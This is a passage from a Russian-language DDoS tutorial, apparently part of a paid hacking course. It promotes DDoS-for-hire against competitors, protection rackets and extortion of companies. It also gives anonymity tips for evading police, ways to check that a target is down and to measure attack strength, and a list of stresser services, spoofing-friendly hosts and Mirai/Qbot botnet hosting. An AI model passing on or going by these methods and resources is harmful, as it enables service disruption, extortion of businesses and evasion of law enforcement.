Тор описывать не буду, его и так все знают. Не пренебрегайте анонимностью, держитесвой трафик в порядке.А теперь вопросы и мы переходим к следующему разделу.
ВОПРОСЫ:
(И это, ребята, я забыл там написать чтобы поставили линукс и Jabber, но это ладно, в 2.0распишу)
1. Насчет безопасности, можно ли использовать двойной прокси... и как это грамотносвязать? Опять же с дедиком или ещем
--Не имеет смысла, лучше впн, Впн + дедик
8. МЕТОДЫ МОНЕТИЗАЦИИ
Как же монетизировать полученные знания, чтобы не пропали впустую? Начнем с того,что они уже не пропали. Любые полученные хорошие знания не пропадают даром, и дажето, что вы это освоили, уже профит. А если вам хочется бабла, рассмотрим нескольковариантов заработка на этом.
Начнем с менее безобидного, это конечно же легальное тестирование компаний.Компании частенько обращаются к профессионалам за тестированиями. Засветитьсяможете очень легко, положив какую-нибудь компанию и указав им на их ошибку. Профитне такой высокий как в чернухе, но, имеет место быть.
Второй метод монетизации серо-черный. Тут немного сложнее. Вы можетепредоставлять DDOS услуги на заказ. Каким образом? Клиент, к примеру владелецмагазина обращается к вам, чтобы устранить своего конкурента. Когда конкурент лежит,его клиенты уходят к твоему заказчику. Профит у всех, все довольны. Стоит отметить,что за это могут начать искать, поэтому нужно соблюдать анонимность и принимать заказыв защищенных сетях. Ну а прибыли с этого можно поиметь начиная с $5 заканчиваятысячами долларов за заказ, делайте выводы :)
Третий метод монетизации черный. Атаковать различные коммерческиеорганизации и предлагать White-List, проще говоря «Крышу», как это делали в 90х. Молподъезжают рэкетиры, и говорят, платишь нам — тебя никто не трогает, и мы сами тоже.Не платят — атакуешь пока не заплатят. Платят — выстраиваешь вайт-лист, можешь еслихочешь списываться с такими же барыгами, чтобы не было недоразумений. Черненько,зато профитненько.
Ну и последний, самый жесткий и черный метод монетизации, это шантаж. Самыйнастоящий шантаж. Ты атакуешь коммерческие организации и требуешь выкуп. Мол, еслине заплатите — вашему сайту/серверу пизда. Если у хозяина неплохой оборот, он в 90%случаев заплатит. Поэтому, просить можно по разному. Из минусов это заявления,которые будут обязательно поступать в Отдел К или ФСБ, в дальнейшем, когда вы всехзаебете, за вами выедут. Вот такие вот дела. (Крайне не советую данный метод, но оннаиболее эффективен).
9. Прочие плюшки
Итак, тут я бы хотел поговорить о разных плюшках, которые применяю лично я. Сразуговорю, сейчас я пишу это сюда и не все вспомню, поэтому этот раздел я дополню в 2.0,доступ к которому вы получите обязательно.
1. Проверка сайта/сервера.
Допустим вы атакуете цель, но не знаете, лежит ли она на самом деле. Для этогоесть сервисы, которые могут это проверить. Смотрите.На примере возьмем сервис https:///check-host.net/, который позволяет проверить сайтна доступность, также проверяет информацию об IP/URL (таким образом вы и узнаетезащиту) и множество других функций. Основное, что нас интересует, это — Info, Ping и HTTP.Ping нам будет нужен для проверки серверов на доступность, ну а HTTP для проверкисайтов на доступность.
Все довольно просто и легко работает: https://imgur.com/GA0t3nDl
2. Постоянная проверка сайта/сервера.
Итак, нам упал заказ, и нам нужно его мониторить постоянно, если он вдруг встанет ит. д. Для этого есть отдельные сервисы, как этот: http://www.syslab.ru/
Всего там за 20-30 рублей, он промониторит ваш заказ сутки, чекая каждые 2 минуты.Я считаю, что это очеееень годно, так как и сам раньше юзал. Если заказчик докопается,мол, сайт вставал, вы просто можете тыкнуть ему статистикой :)
Парам пам пам, угадайте, как мы мерили мощь с Сорриком? Там вроде и Layer 4мерили, и Layer 7.
А вот смотрите, это называется Дстат (DSTAT), по сути изначально это утилита для Linux,которая позволяет мониторить системные ресурсы.
Ну а в данном случае, у нас нечто другое. У нас — графы. Мы переходим по этим графам— и мониторим количество запросов в секунду (r/s если это Layer 7) и Mbps/Gbps если этоLayer 4 :)
Итак, где же их брать?
http://www.vedbex.com/tools/dstat — выбираете любой из списка, вам выводится IPсервера, запускаете Layer 7 атаку по IP (не забываем прописывать http://) и запускаемDDOS.
Количество запросов отобразится прямо там, смотрите:https://imgur.com/g32s8Xsl и никакой магии)
У них также есть Layer 4 дстат, который отображает трафик в Mbit/s.
Есть также аналог, но его я закину уже в 2.0
Еще раз извиняюсь, если вдруг что забыл, в 2.0 дополню.
На этом думаю стоит закончить и пора уже скинуть вам все :)
СТРЕССЕРОВ ЩА НАКИДАЮ, ГОДНЫХ
http://webstresser.org/ - Можно вбить с Paypal. Годный стрессер.
http://xblunter.net/ - Годный стрессер, мощи дохера. Один челик уебал прокуратуру этимстрессером на 300 секунд, а прокуратура валялась 6 часов.
Хочу дополнить, у webstresser.org сейчас работает только l4 поэтому не надейтесь снего положить сайт с помощью l4 проверено, ждите когда l7 добавят. Что на счет xblunter,да годный стрессер который пробивает много чего
https://firstvds.ru/ - Под Layer 7 (XMLRPC) + Скан листов хорошо залетает. Лично сейчасдержу там VPS за 500р и ебашу XMLRPC.
https://selectel.ru/ - Под Layer 7 + скан держал будучи под арестом, все заебись. Не банили.
https://sologigabit.com - Раньше здесь брал под мирай и кубот сервак, но потом они четзагнулись. У Соррика вообще заказ не принимали, странно...
https://dataharbour.ru/ - Спуф VPS от 350р, спуф вроде как все еще есть. Одному стоитпроверить, потом остальныеmaxided.com - Отписывайте в саппорт перед покупкой и спрашивайте, какие локации спуф.
novogara.com - под скан/хост ботнета mirai/qbotblazingfast.io - Лично тут хостил Курияму, все гуд.
http://ampnode.com/ - Спуф сервера, но реселлят.
https://www.packet.net/ - спуф
https://www.lonepinecommunications.com/ - 100% спуф
http://wdc.pl/ - Если еще жив - заебись. А так был спуф.
http://www.akado-telecom.ru/ - В мое время был спуф, и даже в конце 2017.
https://gw.spb.ru/ - Спуф был в 2к17http://www.spx.lv/ - спуф
http://www.relcom.spb.ru/ в прошлом году был спуф, надо будет тестануть
https://miran.ru/ - год назад был спуф, надо будет тестануть
http://www.edis.at/ - VPSки в СПБ спуф
http://fiord.ru/ - спуф
https://www.aureon.com/ - спуф
http://www.americanis.net/ - спуф
https://portal.servers.ru/#/cloud/computing/servers/create/?region_id=6&config=FiAAAMGI -спуф за 500р
👍72
🔥6
😁23
😮9
🤔14
💯19
LIMB